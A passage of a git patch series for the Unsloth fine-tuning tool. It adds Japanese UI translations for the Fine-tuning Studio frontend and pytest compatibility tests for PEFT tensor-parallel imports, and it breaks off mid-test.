+        copyNamedCommand: "{label} をコピー",
+        checkingInstall: "Unsloth がどのようにインストールされたかを確認中...",
+        installIntro: "Unsloth のインストールまたはアップデート方法:",
+        localUpdateHeading: "ローカルアップデート",
+        installCommandUnix: "macOS/Linux インストールコマンド",
+        installCommandWindows: "Windows インストールコマンド",
+        localInstallDetected: "ローカルインストールが検出されました。PyPI で上書きされるのを防ぐため、元のリポジトリからアップデートしてください。",
+        pullThenUpdate: "最新の変更をプルしてから、ローカルインストーラーを実行してください:",
+        gitPullCommand: "git pull コマンド",
+        localInstallerCommand: "ローカルインストーラーコマンド",
+        sourceInstallDetected: "ソース or VCS パッケージのインストールが検出されました。元のローカルパスまたは Git URL から再インストールしてください。",
+        repoCheckoutFallback: "リポジトリが手元に残っている場合は、そこからローカルインストーラーを実行してください:",
+        restartAfterUpdate: "アップデート後に Unsloth を再起動してください。",
+        desktopManaged: "デスクトップアプリは同梱されているバックエンドを自動的に最新に保ち、新しいバージョンが利用可能になると通知します。",
+        unknownInstall: "Unsloth がどのようにインストールされたか検出できませんでした。インストーラーまたは PyPI インストールの場合は、上記のコマンドを使用してください。",
+        localCheckout: "ローカルインストールの場合は、そのリポジトリからローカルインストーラーを実行してください:",
+        docs: "インストールガイド:",
+        docsInstall: "インストール",
+        docsUpdating: "アップデート方法",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "トレイン",
+    title: "Fine-tuning Studio",
+    subtitles: {
+      configure: "設定とトレーニングの開始",
+      trainingInProgress: "トレーニング進行中",
+      viewPastRuns: "過去のトレーニング実行を表示",
+      viewingPastRun: "過去の実行を表示中",
+    },
+    tabs: {
+      configure: "設定",
+      currentRun: "現在の実行",
+      history: "履歴",
+    },
+    loadingRuntime: "トレーニングランタイムを読み込み中...",
+    backToHistory: "履歴に戻る",
+    sections: {
+      model: "モデル",
+      dataset: "データセット",
+      params: "パラメーター",
+      training: "トレーニング",
+      charts: "チャート",
+      progress: "トレーニング進捗",
+    },
+    configure: {
+      title: "設定",
+      description: "モデル、データセット、およびトレーニング設定を選択します。",
+      startTraining: "トレーニング開始",
+      starting: "開始中...",
+      loadingModel: "モデルを読み込み中...",
+      checkingDataset: "データセットを確認中...",
+      trainingConfig: "トレーニング構成",
+    },
+    model: {
+      title: "モデル",
+      description: "ベースモデルとトレーニング方法の選択",
+      fasterTrainingBadge: "トレーニング速度2倍",
+      baseModel: "ベースモデル",
+      localModel: "ローカルモデル",
+      localModelTooltip: "ローカルにダウンロードされたモデルのパス、またはカスタム HF リポジトリ。",
+      scanningLocalAndCachedModels: "ローカルおよびキャッシュされたモデルをスキャン中...",
+      scanning: "スキャン中...",
+      scanningLocalModels: "ローカルモデルをスキャン中...",
+      noLocalModelsFound: "ローカルモデルが見つかりません",
+      noLocalModelsFoundManual: "ローカルモデルが見つかりません。パスを手動を入力してください。",
+      failedToLoadLocalModels: "ローカルモデルの読み込みに失敗しました",
+      hfCache: "HF キャッシュ",
+      customFolders: "カスタムフォルダ",
+      localDir: "ローカルディレクトリ",
+      huggingFaceModel: "Hugging Face モデル",
+      huggingFaceModelTooltip: "Hugging Face モデルを検索するか、推奨リストから選択します。",
+      searchModels: "モデルを検索...",
+      searching: "検索中...",
+      noModelsFound: "モデルが見つかりません",
+      needsVram: "約 {vram}GB VRAM が必要 (GPU: {gpu}GB)",
+      tightVram: "約 {vram}GB VRAM (GPU {gpu}GB ではギリギリです)",
+      vramEstimate: "約 {vram}GB VRAM",
+      method: "手法",
+      methodTooltip: "QLoRA は 4-bit 量子化を使用して VRAM 使用量を最小限に抑えます。LoRA は 16-bit を使用します。Full はすべての重みを更新します。CPT (Continued Pretraining) は、チャット形式を適用せずに生のテキストでトレーニングし、モデルを新しいドメインに適応させます。",
+      readMore: "詳細を読む",
+      fullFineTune: "フルファインチューニング",
+      checkingToken: "トークンを確認中...",
+      getOrUpdateToken: "トークンの取得または更新",
+      huggingFaceTokenOptional: "Hugging Face トークン (オプション)",
+      continuedPretraining: "継続事前学習 (CPT)",
+      localModels: "ローカルモデル",
+      localModelsFound: "{count} 個のローカル/キャッシュされたモデルが見つかりました",
+      loadingLocalModels: "ローカルモデルを読み込み中...",
+    },
+    dataset: {
+      title: "データセット",
+      description: "トレーニングデータの選択またはアップロード",
+      source: "データセットのソース",
+      chooseDataset: "データセットを選択",
+      chooseDatasetTooltip: "ポップアップのタブを使って、Hugging Face とローカルのレシピ出力を切り替えます。",
+      localTab: "ローカル",
+      searchHuggingFaceDatasets: "Hugging Face データセットを検索...",
+      searchLocalDatasets: "ローカルデータセットを検索...",
+      searching: "検索中...",
+      noDatasetsFound: "データセットが見つかりません",
+      loadingLocalDatasets: "ローカルデータセットを読み込み中...",
+      failedToLoadLocalDatasets: "ローカルデータセットの読み込みに失敗しました。",
+      noLocalDatasetsYet: "ローカルデータセットがまだありません。",
+      noLocalDatasetsMatchSearch: "検索に一致するローカルデータセットがありません。",
+      openDataRecipes: "データレシピを開く",
+      browsingSource: "{browsing} を閲覧中。現在の選択は {current} のままです。",
+      localDatasets: "ローカルデータセット",
+      localDataset: "ローカルデータセット",
+      localDatasetRows: " / {count} 行",
+      huggingFaceDataset: "Hugging Face データセット",
+      localDatasetMetadata: "ローカルデータセットのメタデータ",
+      dataRecipeOutput: "データレシピの出力。",
+      rows: "行数",
+      columns: "列数",
+      batches: "バッチ数",
+      updated: "更新日時",
+      evalDataset: "評価データセット",
+      uploading: "アップロード中...",
+      upload: "アップロード",
+      uploadEvalFile: "評価ファイルをアップロード",
+      evalDatasetDescription: "オプション。提供されない場合は、トレーニングデータから一部が自動的に分割されます。",
+      advanced: "高度な設定",
+      targetFormat: "ターゲットフォーマット",
+      targetFormatTooltip: "トレーニングデータのフォーマット。ほとんどのデータセットで自動検出が機能します。",
+      auto: "自動",
+      rawText: "生テキスト",
+      trainSplitStart: "トレーニング分割の開始行",
+      trainSplitStartTooltip: "開始行のインデックス（0から始まる包含的なインデックス）を指定して、データセットの一部のみをトレーニングします。最初の行から開始する場合は空のままにしてください。",
+      trainSplitEnd: "トレーニング分割の終了行",
+      trainSplitEndTooltip: "データセットに含める最後の行のインデックス（0から始まる包含的なインデックス）。たとえば、開始を0、終了を99に設定すると、最初の100行をトレーニングします。残りのすべての行を使用する場合は空のままにしてください。",
+      endPlaceholder: "終了行",
+      clear: "クリア",
+      dropFileOrClick: "ここにファイルをドロップするか、クリックしてアップロード",
+      viewDataset: "データセットを表示",
+      uploadFailed: "アップロードに失敗しました",
+      unknownError: "不明なエラー",
+      unsupportedFileType: "サポートされていないファイル形式です",
+      uploadOneFileType: "{types} ファイルを1つアップロードしてください。",
+      datasetUploaded: "データセットをアップロードしました",
+      evalDatasetUploaded: "評価データセットをアップロードしました",
+      uploadOneFileAtATime: "一度に1つのファイルのみアップロードできます",
+      uploadSingleFileDescription: "トレーニングデータセットのアップロードは単一のファイルのみ受け付けます。",
+      checkingToken: "トークンを確認中...",
+      getOrUpdateToken: "トークンの取得または更新",
+      preview: "データセットのプレビュー",
+      split: "分割",
+      subset: "サブセット",
+      s3: {
+        title: "S3 構成",
+        description: "Amazon S3 から .parquet, .json, .jsonl, または .csv データセットを読み込みます",
+        bucket: "バケット名",
+        bucketPlaceholder: "my-training-data-bucket",
+        region: "AWS リージョン",
+        regionPlaceholder: "us-east-1",
+        prefix: "パスプレフィックス",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip: "オプション。バケット内のデータセットファイルへのパス",
+        accessKeyId: "アクセスキー ID",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "シークレットアクセスキー",
+        secretAccessKeyPlaceholder: "AWS シークレットアクセスキーを入力してください",
+        useIamRole: "IAM ロールを使用",
+        useIamRoleTooltip: "アクセスキーの代わりに IAM ロールの資格情報を使用します（EC2/SageMaker で推奨）",
+        testConnection: "接続をテスト",
+        connectionSuccess: "S3 バケットへの接続に成功しました",
+        connectionFailed: "S3 バケットへの接続に失敗しました",
+        comingSoon: "S3 統合は近日公開予定",
+        comingSoonDescription: "S3 データセットの読み込みには boto3 が必要です。この機能は現在開発中です。",
+      },
+    },
+    params: {
+      title: "パラメーター",
+      description: "トレーニングのハイパーパラメーターを設定します",
+      projectName: "プロジェクト名",
+      optional: "オプション",
+      projectNameDescription: "トレーニング出力フォルダ名、エクスポートのデフォルト値、および履歴で使用されます。",
+      loraSettings: "LoRA 設定",
+      trainingHyperparameters: "トレーニングハイパーパラメーター",
+      maxSteps: "最大ステップ数",
+      epochs: "エポック数",
+      useMaxSteps: "最大ステップ数を使用",
+      useEpochs: "エポック数を使用",
+      maxStepsTooltip: "オプティマイザーの総ステップ数を上書きします。",
+      epochsTooltip: "データセット全体の完全な学習回数。",
+      epochsDescription: "各エポックは、データセットを丸ごと1回学習することを意味します。",
+      maxStepsDescription: "トレーニングを固定のオプティマイザーステップ数に制限します。",
+      contextLength: "コンテキスト長",
+      contextLengthTooltip: "トレーニングサンプルあたりの最大トークン数。",
+      customContextLength: "カスタム値を入力",
+      contextLengthDescription: "トレーニングサンプルの最大シーケンス長",
+      learningRate: "学習率",
+      learningRateTooltip: "重み更新のステップサイズ。低い値ほど学習は遅くなりますが安定します。",
+      learningRateDescription: "推奨値: LoRAは2e-4、CPTは5e-5、フルファインチューニングは2e-5",
+      embeddingLearningRate: "埋め込み学習率",
+      embeddingLearningRateTooltip: "CPT が embed_tokens をトレーニングする場合にのみ使用されます。埋め込みは LoRA の重みよりも不安定になりやすいため、通常はより小さな学習率が必要です。空のままにすると lr/10 が使用されます。一般的な範囲はメインの学習率の2倍から10倍小さい値です。語彙やドメイン固有トークンの適応が遅すぎる場合にのみ増やしてください。",
+      embeddingLearningRateDescription: "空欄にすると lr/10 が使用されます（推奨）。一般的な範囲はメインの学習率の 2倍〜10倍小さい値です。",
+      rank: "Rank",
+      rankTooltip: "低ランク行列の次元数。高いほど表現能力が向上します。",
+      alpha: "Alpha",
+      alphaTooltip: "LoRA 更新のスクール係数。通常は rank の 2 倍に設定します。",
+      dropout: "Dropout",
+      dropoutTooltip: "過学習を抑えるための LoRA レイヤーのドロップアウト確率。",
+      visionLayers: "ビジョンレイヤー",
+      languageLayers: "言語レイヤー",
+      attentionModules: "Attention モジュール",
+      mlpModules: "MLP モジュール",
+      targetModules: "Target Modules",
+      enableLora: "LoRA を有効化",
+      trainWithLora: "LoRA でトレーニング",
+      stableRank: "Stable Rank",
+      memoryEfficient: "メモリ効率化",
+      optimization: "最適化",
+      schedule: "スケジュール",
+      memory: "メモリ",
+      optimizer: "オプティマイザー",
+      optimizerTooltip: "最適化アルゴリズム。8-bit 版はメモリ使用量を削減します。ビジョンモデルには Fused が推奨されます。",
+      lrScheduler: "学習率スケジューラー",
+      lrSchedulerTooltip: "トレーニング中に学習率をどのように変化させるか。Linear は一定の割合で減少させ、Cosine は緩やかな曲線を描いて減少させます。",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linear",
+        cosine: "Cosine",
+      },
+      batchSize: "バッチサイズ",
+      batchSizeTooltip: "ステップごとに処理されるサンプル数。高いほど多くの VRAM を使用します。",
+      gradAccum: "勾配累積",
+      gradAccumTooltip: "VRAM を追加消費せずに、疑似的に大きなバッチサイズをシミュレートします。",
+      weightDecay: "Weight Decay",
+      weightDecayTooltip: "過学習を防ぐための L2 正則化。",
+      warmupSteps: "ウォームアップステップ数",
+      warmupStepsTooltip: "安定性の向上を目的として、トレーニング開始時に学習率を徐々に増加させます。",
+      scheduleEpochsTooltip: "データセット全体の完全な学習回数。0 に設定すると最大ステップ数に基づいて実行されます。",
+      saveSteps: "保存ステップ間隔",
+      saveStepsTooltip: "N ステップごとにチェックポイントを保存します。0 で無効化します。",
+      evalSteps: "評価ステップ間隔",
+      evalStepsTooltip: "評価を行う総トレーニングステップ of 割合 (0-1)。0 に設定すると評価が無効になります。例: 0.01 = ステップの 1% ごとに評価を実行。",
+      seed: "シード値",
+      seedTooltip: "再現性のための乱数シード。",
+      gradCheckpoint: "勾配チェックポイント",
+      gradCheckpointTooltip: "アクティベーションを再計算することで、計算量と引き換えにメモリを節約します。",
+      none: "なし",
+      standard: "標準",
+      enablePacking: "パッキングを有効化",
+      assistantCompletionsOnly: "アシスタントの応答のみ学習",
+      readMore: "詳細を読む",
+    },
+    training: {
+      title: "トレーニング",
+      description: "トレーニングの監視と制御",
+      chartNoDataTitle: "トレーニングデータがまだありません",
+      chartNoDataDescription: "トレーニングを開始すると、Loss の推移が表示されます",
+      startTraining: "トレーニング開始",
+      starting: "開始中...",
+      loadingModel: "モデルを読み込み中...",
+      checkingDataset: "データセットを確認中...",
+      configLabel: "トレーニング構成",
+      upload: "アップロード",
+      uploadConfigTooltip: "保存された YAML 構成を読み込みます",
+      save: "保存",
+      saveConfigTooltip: "現在の構成を YAML としてダウンロードします",
+      reset: "リセット",
+      resetConfigTooltip: "モデルのデフォルト値にリセットします",
+      configLoaded: "構成を読み込みました",
+      failedToLoadConfig: "構成の読み込みに失敗しました",
+      invalidYamlFile: "無効な YAML ファイルです",
+      failedToReadFile: "ファイルの読み込みに失敗しました",
+      parametersReset: "パラメーターをモデルのデフォルト値にリセットしました",
+      audioIncompatible: "このモデルはオーディオをサポートしていません。オーディオ対応のモデルに切り替えるか、オーディオ以外のデータセットを選択してください。",
+      visionIncompatible: "テキストモデルはマルチモーダルデータセットと互換性がありません。ビジョンモデルに切り替えるか、テキストのみのデータセットを選択してください。",
+      cancelTitle: "トレーニングを取り消し",
+      cancelDescription: "現在のトレーニング実行を取り消しますか？",
+      continueAction: "トレーニングを続行",
+      cancelAction: "トレーニングを取り消し",
+      stopTitle: "トレーニングを停止",
+      stopDescription: "現在のトレーニング実行をどのように停止するか選択してください。",
+      stopAction: "停止",
+      stopping: "停止中...",
+      stopAndSave: "停止して保存",
+      compareInChat: "チャットで比較",
+      exportModel: "モデルをエクスポート",
+      milestone: "マイルストーン",
+      halfwayDone: "半分完了しました。トレーニングの進捗が 50% を超えました。",
+      doneNextStep: "トレーニングが完了しました。次のステップ: ベースモデルとファインチューニング後の出力を比較します。",
+    },
+    history: {
+      title: "履歴",
+      emptyTitle: "トレーニング実行がまだありません",
+      emptyDescription: "トレーニング実行がまだありません。「設定」タブで最初のトレーニングを開始してください。",
+      loadError: "トレーニング実行の読み込みに失敗しました",
+      deleteError: "トレーニング実行の削除に失敗しました。もう一度お試しください。",
+      retry: "再試行",
+      loadMore: "さらに読み込む",
+      loading: "読み込み中...",
+      loadingRun: "トレーニング実行を読み込み中...",
+      runNotFound: "実行が見つかりません",
+      deleteTitle: "トレーニング実行を削除しますか？",
+      deleteDescription: "これにより、このトレーニング実行とすべてのメトリクスが永久に削除されます。この操作は取り消せません。",
+      runCount: "{count} 件の実行",
+      oneRun: "1 件の実行",
+      resume: "再開",
+      resumeTraining: "トレーニングを再開",
+      resuming: "再開中...",
+      deleteRun: "実行を削除",
+      loss: "Loss",
+      steps: "ステップ数",
+      lossTrendSparkline: "Loss トレンドスパークライン",
+      relativeJustNow: "たった今",
+      relativeMinutesAgo: "{count}分前",
+      relativeHoursAgo: "{count}時間前",
+      relativeDaysAgo: "{count}日前",
+      status: {
+        completed: "完了",
+        stopped: "停止",
+        error: "エラー",
+        running: "実行中",
+        continued: "継続",
+      },
+      message: {
+        completed: "トレーニングが完了しました",
+        stopped: "トレーニングが停止しました",
+        running: "トレーニング進行中",
+        errored: "トレーニングでエラーが発生しました",
+      },
+      copyPreviewLink: "プレビューリンクをコピー",
+      previewLinkCopied: "プレビューリンクをコピーしました",
+      previewLinkCopyFailed: "リンクをコピーできませんでした",
+    },
+    charts: {
+      settings: "チャート設定",
+      settingsDescription: "トレーニングを実行したまま、チャートの表示を微調整します。",
+      openSettings: "チャート設定を開く",
+      viewWindow: "表示ウィンドウ",
+      viewWindowDescription: "最新のステップのみを表示するか、全履歴を表示するか選択します。",
+      window: "ウィンドウ",
+      all: "すべて",
+      trainingLoss: "トレーニング Loss",
+      trainingLossDescription: "オーバーレイと EMA スムージングを制御します。",
+      smoothing: "スムージング",
+      smoothingDescription: "右に動かすほど滑らかになります。`0` は生データです。",
+      showRawLoss: "生の Loss を表示",
+      showSmoothedLoss: "スムージングされた Loss を表示",
+      showAverageLine: "平均線を表示",
+      scaleAndCleanup: "スケールとクリーンアップ",
+      linear: "Linear",
+      log: "Log",
+      noClip: "クリップなし",
+      clipP99: "p99 でクリップ",
+      clipP95: "p95 でクリップ",
+      lossAxis: "Loss 軸",
+      gradientNormAxis: "勾配ノルム軸",
+      learningRateAxis: "学習率軸",
+      resetDefaults: "デフォルトにリセット",
+      loss: "Loss",
+      smoothed: "スムージング済み",
+      evalLoss: "評価 Loss",
+      learningRate: "学習率",
+      lr: "LR",
+      gradNorm: "Grad Norm",
+      gradientNorm: "勾配ノルム",
+      step: "ステップ {step}",
+      averageValue: "平均 {value}",
+      waitingForFirstEvaluationStep: "最初の評価ステップを待機中...",
+      evaluationNotConfigured: "評価が設定されていません",
+      evalChartWillAppear: "eval_steps に達するとチャートが表示されます",
+      setEvalDatasetAndSteps: "評価 Loss を追跡するには、評価データセットと eval_steps を設定してください",
+    },
+    progress: {
+      title: "トレーニング進捗",
+      liveMetrics: "リアルタイムトレーニングメトリクス",
+      exportGguf: "GGUF へエクスポート",
+      openConfig: "トレーニング構成を開く",
+      configLabel: "トレーニング構成",
+      hyperparams: "ハイパーパラメーター",
+      epochs: "エポック数",
+      batchSize: "バッチサイズ",
+      learningRate: "学習率",
+      optimizer: "オプティマイザー",
+      maxSteps: "最大ステップ数",
+      contextLength: "コンテキスト長",
+      warmupSteps: "ウォームアップステップ数",
+      rank: "Rank",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "バリアント",
+      epoch: "エポック {value}",
+      percentComplete: "{percent}% 完了",
+      stepProgress: "ステップ {current} / {total}",
+      loss: "Loss",
+      lr: "LR",
+      gradNorm: "Grad Norm",
+      project: "プロジェクト",
+      model: "モデル",
+      method: "手法",
+      elapsed: "経過時間: {value}",
+      eta: "残り時間 (ETA): {value}",
+      stepsPerSecond: "{value} ステップ/秒",
+      noStepsPerSecond: "-- ステップ/秒",
+      tokens: "トークン数: {value}",
+      gpuMonitor: "GPU モニター",
+      live: "ライブ",
+      utilization: "使用率",
+      temperature: "温度",
+      vram: "VRAM",
+      power: "電力",
+      phase: {
+        idle: "アイドル",
+        downloadingModel: "モデルをダウンロード中",
+        downloadingDataset: "データセットをダウンロード中",
+        loadingModel: "モデルを読み込み中",
+        loadingDataset: "データセットを読み込み中",
+        configuring: "構成中",
+        training: "トレーニング中",
+        completed: "完了",
+        error: "エラー",
+        stopped: "停止",
+      },
+    },
+    trainingStart: {
+      ready: "準備完了",
+      downloading: "ダウンロード中",
+      preparing: "準備中",
+      left: "残り {eta}",
+      downloaded: "{size} ダウンロード済み",
+      terminalStart: "> unsloth トレーニングを開始します...",
+      preparingResources: "> モデルとデータセットを準備中...",
+      gettingReady: "> 実行の準備を整えています...",
+      waitingForFirstStep: "> {message} | 最初のステップを待機中... ({step})",
+      resumingTraining: "トレーニングを再開しています...",
+      startingTraining: "トレーニングを開始しています...",
+      dataset: "データセット",
+      datasetStreaming: "データセット: ストリーミング（完全なダウンロードなし）",
+      modelWeights: "モデルの重み",
+    },
+    tour: {
+      guidedTour: "ガイドツアー",
+    },
+  },
+} as const;
diff --git a/studio/frontend/src/i18n/messages.ts b/studio/frontend/src/i18n/messages.ts
index e75faf697a..ef58ca23fe 100644
--- a/studio/frontend/src/i18n/messages.ts
+++ b/studio/frontend/src/i18n/messages.ts
@@ -4,17 +4,19 @@
 import { getLocale } from "./locale-store";
 import { en } from "./locales/en";
 import { zhCN } from "./locales/zh-CN";
+import { ja } from "./locales/ja";
 import type { InterpolationValues, MessageKey } from "./types";
 
 export const LOCALES = {
   en: { label: "English", nativeLabel: "English" },
   "zh-CN": { label: "Chinese (Simplified)", nativeLabel: "简体中文" },
+  ja: { label: "Japanese", nativeLabel: "日本語" },
 } as const;
 
 export type Locale = keyof typeof LOCALES;
 export type TranslationKey = MessageKey<typeof en>;
 
-export const messages = { en, "zh-CN": zhCN } as const;
+export const messages = { en, "zh-CN": zhCN, ja } as const;
 
 const PLACEHOLDER_PATTERN = /\{([a-zA-Z0-9_]+)\}/g;
 

From 2246a6c9ae5776092bc77df035b2578cdeea0f62 Mon Sep 17 00:00:00 2001
From: Rod Boev <rod.boev@gmail.com>
Date: Tue, 30 Jun 2026 15:26:57 -0400
Subject: [PATCH 162/306] fix: keep LoRA reloads working with PEFT 0.19 (#6748)

* fix: keep LoRA reloads working with PEFT 0.19

* test: exercise the PEFT tensor-parallel symbol extractor

* test: prove the full PEFT tensor-parallel seam

* fix: harden PEFT tensor-parallel shims

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: fall back when PEFT tensor-parallel source inspection fails

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
---
 tests/test_import_fixes_drift.py          |  11 +-
 tests/test_peft_tensor_parallel_compat.py | 252 ++++++++++++++++++++++
 unsloth/_gpu_init.py                      |   3 +
 unsloth/import_fixes.py                   | 140 ++++++++++++
 4 files changed, 402 insertions(+), 4 deletions(-)
 create mode 100644 tests/test_peft_tensor_parallel_compat.py

diff --git a/tests/test_import_fixes_drift.py b/tests/test_import_fixes_drift.py
index 68c20fbe53..0bee68f940 100644
--- a/tests/test_import_fixes_drift.py
+++ b/tests/test_import_fixes_drift.py
@@ -23,6 +23,7 @@ import inspect
 import os
 import re
 import sys
+from pathlib import Path
 from importlib.metadata import version as importlib_version
 
 import pytest
@@ -593,6 +594,7 @@ def test_accelerate_gather_empty_logits_debug_mode_patch():
     orig_debug = state.debug
     orig_dist_type = state.distributed_type
     orig_num_processes = state.num_processes
+    orig_device = state.device
 
     state.debug = True
     state.distributed_type = DistributedType.MULTI_GPU
@@ -624,6 +626,8 @@ def test_accelerate_gather_empty_logits_debug_mode_patch():
                 side_effect = mock_gpu_broadcast,
             ),
         ):
+            state.device = torch.device("cpu")
+
             # Top-level EmptyLogits gathers to itself
             res = acc_ops.gather(e)
             assert res is e
@@ -656,6 +660,7 @@ def test_accelerate_gather_empty_logits_debug_mode_patch():
         state.debug = orig_debug
         state.distributed_type = orig_dist_type
         state.num_processes = orig_num_processes
+        state.device = orig_device
 
 
 def test_accelerate_patch_is_idempotent():
@@ -698,10 +703,8 @@ def test_accelerate_find_device_skips_empty_logits():
 
 def test_accelerate_patch_wired_into_gpu_init():
     """The patch must be installed at startup, not only importable."""
-    import pathlib
-    import unsloth.import_fixes as import_fixes
-
-    source = pathlib.Path(import_fixes.__file__).with_name("_gpu_init.py").read_text()
+    source = Path(__file__).resolve().parent.parent / "unsloth" / "_gpu_init.py"
+    source = source.read_text()
     assert "patch_accelerate_recursively_apply()" in source, (
         "DRIFT DETECTED: patch_accelerate_recursively_apply is defined but "
         "never called in _gpu_init.py, so real imports never install it."
diff --git a/tests/test_peft_tensor_parallel_compat.py b/tests/test_peft_tensor_parallel_compat.py
new file mode 100644
index 0000000000..3dc00d46dc
--- /dev/null
+++ b/tests/test_peft_tensor_parallel_compat.py
@@ -0,0 +1,252 @@
+import importlib.machinery
+import importlib.util
+from pathlib import Path
+import sys
+import types
+
+import pytest
+
+
+REPO_ROOT = Path(__file__).resolve().parents[1]
+IMPORT_FIXES = REPO_ROOT / "unsloth" / "import_fixes.py"
+
+
+def _load_import_fixes():
+    spec = importlib.util.spec_from_file_location("_unsloth_import_fixes_peft_tp", IMPORT_FIXES)
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+def _install_fake_module(
+    name,
+    *,
+    is_package = False,
+    attrs = None,
+):
+    module = types.ModuleType(name)
+    module.__spec__ = importlib.machinery.ModuleSpec(name, loader = None, is_package = is_package)
+    if is_package:
+        module.__path__ = []
+    if attrs:
+        for k, v in attrs.items():
+            setattr(module, k, v)
+    sys.modules[name] = module
+    return module
+
+
+@pytest.fixture(autouse = True)
+def _restore_import_fixtures():
+    keep = {
+        "transformers",
+        "transformers.integrations",
+        "transformers.integrations.tensor_parallel",
+        "peft",
+        "peft.utils",
+        "peft.utils.save_and_load",
+    }
+    snapshot = {name: sys.modules.get(name) for name in keep}
+    yield
+    for name, value in snapshot.items():
+        if value is None:
+            sys.modules.pop(name, None)
+        else:
+            sys.modules[name] = value
+
+
+def _install_fake_transformers_tensor_parallel(existing):
+    transformers = _install_fake_module("transformers", is_package = True)
+    integrations = _install_fake_module("transformers.integrations", is_package = True)
+    setattr(transformers, "integrations", integrations)
+
+    tp = _install_fake_module(
+        "transformers.integrations.tensor_parallel",
+        attrs = existing,
+    )
+    setattr(integrations, "tensor_parallel", tp)
+    return tp
+
+
+def _fake_peft_shard_state_dict_for_tp():
+    from transformers.integrations.tensor_parallel import (
+        ALL_PARALLEL_STYLES,
+        ColwiseParallel,
+        EmbeddingParallel,
+        RowwiseParallel,
+    )
+    return (
+        ALL_PARALLEL_STYLES,
+        ColwiseParallel,
+        EmbeddingParallel,
+        RowwiseParallel,
+    )
+
+
+def _install_fake_peft_tensor_parallel_import():
+    peft = _install_fake_module("peft", is_package = True)
+    utils = _install_fake_module("peft.utils", is_package = True)
+    setattr(peft, "utils", utils)
+
+    save_and_load = _install_fake_module("peft.utils.save_and_load")
+    save_and_load._maybe_shard_state_dict_for_tp = _fake_peft_shard_state_dict_for_tp
+    setattr(utils, "save_and_load", save_and_load)
+    return save_and_load
+
+
+def test_missing_tensor_parallel_symbol_import_succeeds_after_fix(monkeypatch):
+    module = _load_import_fixes()
+
+    _install_fake_peft_tensor_parallel_import()
+    _install_fake_transformers_tensor_parallel(
+        {
+            "ColwiseParallel": object,
+            "RowwiseParallel": object,
+        }
+    )
+
+    with pytest.raises(ImportError):
+        _fake_peft_shard_state_dict_for_tp()
+
+    assert module.fix_peft_transformers_tensor_parallel_import_compat() is True
+
+    import transformers.integrations.tensor_parallel as patched
+
+    all_parallel_styles, _, embedding_parallel, _ = _fake_peft_shard_state_dict_for_tp()
+
+    assert patched == sys.modules["transformers.integrations.tensor_parallel"]
+    assert embedding_parallel is getattr(patched, "EmbeddingParallel")
+    assert getattr(embedding_parallel, "__unsloth_stub__", False)
+    with pytest.raises(NotImplementedError, match = "ALL_PARALLEL_STYLES"):
+        all_parallel_styles["rowwise"]
+    with pytest.raises(NotImplementedError, match = "ALL_PARALLEL_STYLES"):
+        "rowwise" in all_parallel_styles
+    with pytest.raises(NotImplementedError, match = "ALL_PARALLEL_STYLES"):
+        iter(all_parallel_styles)
+    with pytest.raises(NotImplementedError, match = "ALL_PARALLEL_STYLES"):
+        len(all_parallel_styles)
+
+
+def test_existing_embedding_parallel_is_not_replaced(monkeypatch):
+    module = _load_import_fixes()
+
+    class RealEmbeddingParallel:
+        pass
+
+    tp_mod = _install_fake_transformers_tensor_parallel(
+        {
+            "EmbeddingParallel": RealEmbeddingParallel,
+            "ColwiseParallel": object,
+        }
+    )
+
+    monkeypatch.setattr(
+        module,
+        "_extract_peft_tensor_parallel_imported_symbols",
+        lambda: ("ALL_PARALLEL_STYLES", "ColwiseParallel", "EmbeddingParallel", "RowwiseParallel"),
+    )
+    assert module.fix_peft_transformers_tensor_parallel_import_compat() is True
+
+    assert tp_mod.EmbeddingParallel is RealEmbeddingParallel
+    assert not getattr(tp_mod.EmbeddingParallel, "__unsloth_stub__", False)
+
+
+def test_missing_tensor_parallel_module_is_not_created(monkeypatch):
+    module = _load_import_fixes()
+    previous_tp_module = sys.modules.pop("transformers.integrations.tensor_parallel", None)
+
+    original_find_spec = module.importlib.util.find_spec
+
+    def fake_find_spec(name):
+        if name == "transformers.integrations.tensor_parallel":
+            return None
+        return original_find_spec(name)
+
+    monkeypatch.setattr(module.importlib.util, "find_spec", fake_find_spec)
+    monkeypatch.setattr(
+        module,
+        "_extract_peft_tensor_parallel_imported_symbols",
+        lambda: ("EmbeddingParallel",),
+    )
+
+    assert module.fix_peft_transformers_tensor_parallel_import_compat() is None
+
+    try:
+        spec = importlib.util.find_spec("transformers.integrations.tensor_parallel")
+    except ModuleNotFoundError as exc:
+        assert exc.name == "transformers"
+    else:
+        assert spec is None
+    assert "transformers.integrations.tensor_parallel" not in sys.modules
+
+
+def test_placeholder_raises_on_real_use(monkeypatch):
+    module = _load_import_fixes()
+
+    tp_mod = _install_fake_transformers_tensor_parallel({})
+    monkeypatch.setattr(
+        module,
+        "_extract_peft_tensor_parallel_imported_symbols",
+        lambda: ("EmbeddingParallel",),
+    )
+    assert module.fix_peft_transformers_tensor_parallel_import_compat() is True
+
+    with pytest.raises(NotImplementedError, match = "EmbeddingParallel"):
+        tp_mod.EmbeddingParallel()
+
+    assert getattr(tp_mod.EmbeddingParallel, "__unsloth_stub__", False)
+
+
+def test_symbol_extractor_falls_back_when_parse_returns_no_identifiers(monkeypatch):
+    module = _load_import_fixes()
+
+    _install_fake_peft_tensor_parallel_import()
+    monkeypatch.setattr(
+        module.inspect,
+        "getsource",
+        lambda _: "from transformers.integrations.tensor_parallel import ()",
+    )
+
+    assert module._extract_peft_tensor_parallel_imported_symbols() == (
